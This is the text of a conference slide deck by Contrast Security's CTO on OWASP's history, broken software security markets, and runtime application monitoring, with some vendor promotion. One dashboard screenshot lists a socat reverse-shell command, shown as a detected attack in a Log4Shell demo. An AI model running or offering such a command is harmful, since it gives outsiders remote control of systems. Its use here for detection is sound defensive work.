

# OWASP and the Evolution of App/API Security




Jeff Williams  
Contrast Security Founder and CTO  
[@planetlevel](#)

# We all blindly trust software with the most important things in life



Government



Social



Elections



Business



Power Grid



Money


# Six important topics for today

- Security is magic!
- Contributing is addictive!
- Software market is broken!
- I am the problem!
- Runtime security!
- Shift right!



Security is  
magic!

# Learning to hack





My first  
security  
love affair


Threats  
Defenses  
Evidence  
Monitoring





Contributing is  
addictive!

# The Rise of AppSec





# OWASP Origin Story



The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. Our mission is to make application security “visible”, so that people and organizations can make informed decisions about application security risks. Every one is free to participate in OWASP and all of our materials are available under a free and open software license. The OWASP Foundation is a 501c3 not-for-profit charitable organization that ensures the ongoing availability and support for our work.

SECLISTS.ORG Site Search

WebAppSec mailing list archives

By Date By Thread

List Archive Search

**Re: Top Ten Web App Sec Problems**

From: "Jeff Williams @ Aspect" <jeff.williams () aspectsecurity com>  
Date: Wed, 4 Dec 2002 10:57:39 -0500

Steven M. Christey wrote:  
It sounds like you're advocating a "top ten" that's based on other criteria besides "the most frequently occurring" types of issues. The basic question is, what would be the proper criteria for such a top ten list, and what would be the goals?

The problem with "most frequently occurring" is that our instruments for measuring are so poor that I don't believe they represent reality. The public vulnerability databases don't list problems with individual websites (although there's at least an argument that they should). Companies don't release information about vulnerabilities in their sites, assuming that they even uncover them.

I'd like to see a top ten list that helps to crystallize the issue for government and industry. I'm not a huge fan of the SANS list, but it has made a tremendous impact on security spending -- even starting a whole market for SANS scanning.

How to work with WebGoat - Mozilla Firefox (Build 20100722155716)

File Edit View History Bookmarks Tools Help

http://localhost:8080/webgoat/attack

How to work with WebGoat

Choose another language: English Logout

OWASP WebGoat V5.3

Introduction  
General  
Access Control Flaws  
AJAX Security  
Authentication Flaws  
Buffer Overflows  
Code Quality  
Concurrency  
Cross-Site Scripting (XSS)  
Denial of Service  
Improper Error Handling  
Injection Flaws  
Insecure  
Communication  
Insecure Configuration  
Insecure Storage  
Malicious Execution  
Parameter Tampering  
Session Management  
Flaws  
Web Services  
Admin Functions  
Challenge

Solution Videos Restart this Lesson

**How To Work With WebGoat**

Welcome to a short introduction to WebGoat. Here you will learn how to use WebGoat and additional tools for the lessons.

**Environment Information**

WebGoat uses the Apache Tomcat server. It is configured to run on localhost although this can be easily changed. This configuration is for single user, additional users can be added in the tomcat-users.xml file. If you want to use WebGoat in a laboratory or in class you might need to change this setup. Please refer to the Tomcat Configuration in the Introduction section.

**The WebGoat Interface**

Introduction  
General  
Access Control Flaws  
AJAX Security  
Authentication Flaws  
Buffer Overflows  
Code Quality

Restart this Lesson

Enter your name in the input field below and press "go" to submit. The server will accept the request, reverse the input, and display it back to the user, illustrating the basis of handling an HTTP request.

The user should become familiar with the features of WebGoat by manipulating the above buttons to view hints and solutions. You have to use instructions for the first time.

# Nothing has changed!

2002

2024

- The average application has 30+ vulnerabilities and 2+ high or critical flaws in open-source libraries
- The average app/API is attacked over 13,000 times a month
- Every application is attacked at least once a month
- The average enterprise has an app/API security backlog of 1.1m vulnerabilities



**Contrast AppSec  
Observability Report**





Software  
market is  
broken!

# Complexity destroyed assurance


Entire US Tax Code (2,600)



Custom code in one application (17,000)



All code in one application (100,000)



Int'l Space Station

All code in a large enterprise (1b)







# Planet Risk

Specification    Verification  
Design        Assurance    Defense  
Evidence      Attestation  
Evaluation    Controls

# Planet Assurance

Scan        Attacks        Threat        Severity  
Vulnerability    Remediation    Exploit  
Weakness        Pentest



# the Tangled Web

A Guide to Securing Modern  
Web Applications



Michal Zalewski



## The Fallacy of Risk Management!


### **Enter Risk Management**

In the absence of formal assurances and provable metrics, and given the frightening prevalence of security flaws in key software relied upon by modern societies, businesses flock to another catchy concept: *risk management*.

Naturally, it's prudent to prioritize security efforts. The problem is that when risk management is done strictly by the numbers, it does little to help us to understand, contain, and manage real-world problems. Instead, it introduces a dangerous fallacy: that structured inadequacy is almost as good as adequacy and that underfunded security efforts *plus* risk management are about as good as properly funded security work.

Guess what? No dice.

# Outrage tells you the market isn't working






**Yo!**  
We're doing a ton of work!



**True...**  
but it's all disconnected  
and doesn't answer the  
question



# We aren't answering the question!

Are we secure?

We tested all the things with OWASP and NIST and the fuzzing. We found some crazy scary stuff... it's all in this PDF report.

We used actual tools – lots of tools. Plus we have some PCI and SOC 2 type 2 as well as ISO 31337 and OpenSAMM and some stuff you wouldn't understand. Did I mention I'm a CISSP?

Plus we trained cool stuff to everyone and DevSecOps'ed... Like a lot. Actually we need more staff and funding and tools and board visibility and thank God we were here or it would have been a disaster!

Umm... so are we secure?





**The Software Market is a  
“market for lemons”**

We will never make progress in  
security if we are fighting  
against the market






Whose fault is all this?  
**Nobody.**

*“Don’t hate the  
playa, hate the  
game”*

**--Ice-T**



I am the  
problem!

# The analysts keep inventing acronyms...

SBOM

WAAP

CWPP

SAST

IAST

ASPM

MAST

DAST

RASP

CSPM

SCA

WAF

CNAPP

ADR

Nobody can do all this

# Traditional app/API security isn't working

1


Manage multiple scanners and WAFs

2

Manage massive backlog full of false positives

3

Attempt to stop attacks with signatures at the perimeter



# I am the problem

*“If it doesn’t scale, it doesn’t matter”*

-- Michael Coates

First OWASP Summit in Portugal





Runtime  
security!

# Runtime App/API Security Observability

**Filters** Reset All

Application ▼

Resource ▼

Type ▼

Observed Actions Reset (1) ^

Search Observed Actions...

- POST /RegisterEmail
  - http.method: POST
  - http.route: /registerEmail
- Authn-Request
  - contrast.authentication.mechanism: password
- Authz-Request
  - contrast.authorization.mechanism: rbac
  - contrast.authorization.rbac.role: ROLE\_ADMIN
  - contrast.authorization.rbac.role: ROLE\_USER
- File-Open-Create
  - file.open.path: /opt/java/openjdk/jre/lib/jndi.properties
  - file.open.path: /opt/java/openjdk/lib/security/cacerts
  - file.open.path: /opt/java/openjdk/lib/security/public\_suffix\_list.dat
- Host-Cmd-Exec
  - cmd: /bin/bash -c socat TCP4:log4shell-service:8082 EXE C:/bin/bash
- Outbound-Service-Call
  - server.address: 172.24.0.3
  - server.address: 172.25.0.3
  - server.address: 172.26.0.3
  - server.address: 172.27.0.3
  - server.address: 172.29.0.2

**Backend Connections**

**Attack Surface**

**Security Defenses**

**Dangerous Functions**

Environment: Development

Rotate


25

# The root cause of app/API security issues

The typical software stack has thousands of powerful, dangerous functions.  
Many are in libraries, frameworks, and servers.



No documentation



No compiler warnings



No attack detection



No exploit prevention

```
613  ✓      public Process exec(String[] cmdarray, String[] envp, File dir)
614          throws IOException {
615          return new ProcessBuilder(cmdarray)
616              .environment(envp)
617              .directory(dir)
618              .start();
619          }
```



# How runtime security checks work

## SQL Library

```
209 public java.sql.ResultSet executeQuery( String sql ) {  
210     checkClosed();  
211     MySQLConnection locallyScopedConn = this.connection;  
212     ...
```

Proven, reliable  
instrumentation


## RuntimeEngine

```
743 public static enforceSQLInjectionBoundary( Object o, String query ) {  
744  
745     if ( containsUntrustedData( query ) ) {  
746         reportVulnerabilityTrace( query );           // WARN DEVELOPER  
747     }  
748  
749     if ( containsAttack( query ) ) {  
750         reportSQLInjectionAttempt( query );  
751         throw new SQLInjectionException( query ); // PREVENT EXPLOIT  
752     }  
753 }
```

Very  
high-performan  
ce, lightweight  
security checks


# Application Vulnerability Monitoring (AVM)

## TRADITIONAL DAST (c. 2002)



Blindly attack and detect vulnerabilities by evaluating responses for evidence of successful exploitation

## RUNTIME AVM



Automatically detect vulnerabilities and full context by directly observing application behavior. **No scanning required.**


- CONTEXT**
- Exact Line Of Code
  - Full Query
  - Full HTTP Request
  - Data Flow Details
  - Libraries
  - Configuration
  - Etc...

# OWASP Benchmark

Free and open application benchmark with thousands of security test cases

## Runtime 100%


## OWASP Benchmark v1.2 Results Comparison





# A better app/API security operating model


**1** Install runtime agent on your platforms



Automatic – no changes to code, build, test, or deploy

**2** Instant accurate detection of vulnerable code and libraries

**3** Strongest possible app/API exploit prevention






Shift right!

# Shift Left?

## Common Knowledge is Wrong

If you google "cost of a software bug" you will get tons of articles that say "bugs found in requirements are 100x cheaper than bugs found in implementations." They all use this chart from the "IBM Systems Sciences Institute":




There's one tiny problem with the IBM Systems Sciences Institute study: **it doesn't exist**. Laurent Bossavit did an exhaustive trawl and found that the ISSI, if it *did* exist, was an internal training program and not a research institute. As far as anybody knows, that chart is completely made up.

<https://buttdown.com/hillelwayne/archive/i-ing-hate-science/>



# Application Detection and Response (ADR)


## “Shift Right” Protection in Production





# Imagine Runtime AppSec in Production!

Vulnerability and attack monitoring.  
No change to app/API operation.



Quality and performance testing have already moved to production!

# Application Vulnerability Monitoring (AVM)

## “Shift Right” Security Testing in Production

### Concerns


- Will AVM impact performance?
- Will AVM break applications?

### Benefits

- <2% performance impact
- Passive - doesn't affect app/API
- Highly accurate, contextual findings
- No scanning, no extra work
- Tests fully assembled app/API in actual deployed environments, not simulated QA environment
- Best possible code coverage


Quality and performance testing has already moved!

# Traditional AppSec



Security configures and runs tools that deliver a barrage of theoretical vulnerabilities to developers and noisy attacks to operations.

# Runtime AppSec



Automatically reports unified risks to stakeholders in both Dev and Ops.

“Turn Right to Go Left” – Doc Hudson



*Doc Hudson*  
7-8-17





# The Future




AppSec is in its **infancy**...

In the future, AppSec will be transparent, and market forces will drive much better security

**You** can make it happen!





# “Ask me ANYTHING!”

**Jeff Williams**  
Cofounder and CTO  
Contrast Security

<http://linkedin.com/in/planetlevel>



# Contrast Security

Application and API  
Security from Within



Jeff Williams  
Founder and CTO  
@planetlevel